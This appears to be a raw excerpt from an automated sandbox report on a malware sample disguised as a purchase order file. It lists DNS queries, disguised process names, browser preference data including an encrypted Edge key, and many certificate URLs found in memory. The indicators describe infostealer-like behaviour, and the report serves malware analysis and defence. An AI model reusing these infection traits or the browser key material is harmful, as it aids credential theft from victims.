String found in binary or memory: ","type":"MediaFoundationOptIn"},{"name":"OptOut","type":"MediaFoundationOptOut"}],"version":1},"web_notification_override":{"applications":[{"applied_policy":"prompt","domain":"www.reddit.com"},{"applied_policy":"prompt","domain":"www.telegraphindia.com"},{"applied_policy":"prompt","domain":"timesofindia.indiatimes.com"},{"applied_policy":"prompt","domain":"pushengage.com"},{"applied_policy":"prompt","domain":"www.timesnownews.com"},{"applied_policy":"prompt","domain":"www.couponrani.com"},{"applied_policy":"prompt","domain":"www.wholesomeyum.com"},{"applied_policy":"prompt","domain":"www.asklaila.com"},{"applied_policy":"prompt","domain":"www.sammobile.com"},{"applied_policy":"prompt","domain":"www.ecuavisa.com"},{"applied_policy":"prompt","domain":"uz.sputniknews.ru"},{"applied_policy":"prompt","domain":"www.ndtv.com"},{"applied_policy":"prompt","domain":"www.elimparcial.com"},{"applied_policy":"prompt","domain":"www.povarenok.ru"},{"applied_policy":"prompt","domain":"www.estadao.com.br"},{"applied_policy":"prompt","domain":"olxpakistan.os.tc"},{"applied_policy":"prompt","domain":"televisa.com"},{"applied_policy":"prompt","domain":"uol.com.br"},{"applied_policy":"prompt","domain":"www.axisbank.com"},{"applied_policy":"prompt","domain":"mutualfund.adityabirlacapital.com"},{"applied_policy":"prompt","domain":"www.facebook.com"},{"applied_policy":"prompt","domain":"www.instagram.com"},{"applied_policy":"prompt","domain":"www.messenger.com"}],"policies":[{"name":"prompt","reason":"","type":"","value":""}],"version":1}},"fre":{"autoimport_spartan_visible_item_completed":true,"oem_bookmarks_set":true,"should_user_see_fre_banner":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default"},"hardware_acceleration_mode_previous":true,"is_dsp_recommended":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"Default":{"migration_attempt":0,"migration_version":4},"last_edgeuwp_pin_migration_on_edge_version":"94.0.992.31","last_edgeuwp_pin_migration_on_os_version":"10 Version 20H2 (Build 19042.1165)","last_edgeuwp_pin_migration_success":false},"network_primary_browser":{"browser_name_enum":1,"last_computed_time":"13276780388565220","network_usage":{"browser_with_highest_network_usage":1,"browsers_usage":{"1":100.0},"ie":0}},"network_time":{"network_time_mapping":{"local":1.691263997088662e+12,"network":1.691260396e+12,"ticks":126914944.0,"uncertainty":1220870.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDEAAAAAoAAABFAGQAZwBlAAAAEGYAAAABAAAgAAAAcjDYF/dB+Ehkggnbhv5UEmuk4qMrV300v/DxeYPr2kcAAAAADoAAAAACAAAgAAAA4Fc7bPPxg5D3HUrv9FeO3M8NoHE1hRCd1+t1vMyMeGIwAAAA60sl/pIpVYUn/pFhWuHqOweLytcqg8K9+apLINEdcjv+lt8eT+qH7hjP4LZPc65wQAAAABgU4kp6fr9r5p49VZoKZkZbDP1PXsAR/6XYDO+DikEUGEeRYwj0k5LNwmmr0tZ5hKexU3XBg6oVvPcKgnBt6go="},"policy":{"last_statistics_update":"13335737596278882"},"profile":{"info_cache":{"Default":{"active_time":1691263997.009407,"avatar_icon":"chrome://theme/IDR_PROFILE_AVATAR_20",

Source: global traffic	DNS traffic detected: DNS query: lwaziacademy.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24180228176.0000000002CD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: Microsofts.exe, 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, Microsofts.exe.4.dr	String found in binary or memory: http://checkip.dyndns.org/q
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: PO_B2W984.com, 00000000.00000002.22965692413.00000000009A4000.00000004.00000020.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24170624386.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.23004693323.0000000002F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: PO_B2W984.com, 00000000.00000003.22961850687.0000000022891000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962642028.000000007E75A000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000002.23155674229.0000000020D19000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
Source: PO_B2W984.com, 00000000.00000002.22965692413.00000000009A4000.00000004.00000020.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24170624386.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.23004693323.0000000002F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: powershell.exe, 00000007.00000002.23019273945.000000000594F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: PO_B2W984.com, 00000000.00000003.22961850687.0000000022891000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962642028.000000007E75A000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000002.23155674229.0000000020D19000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0$
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
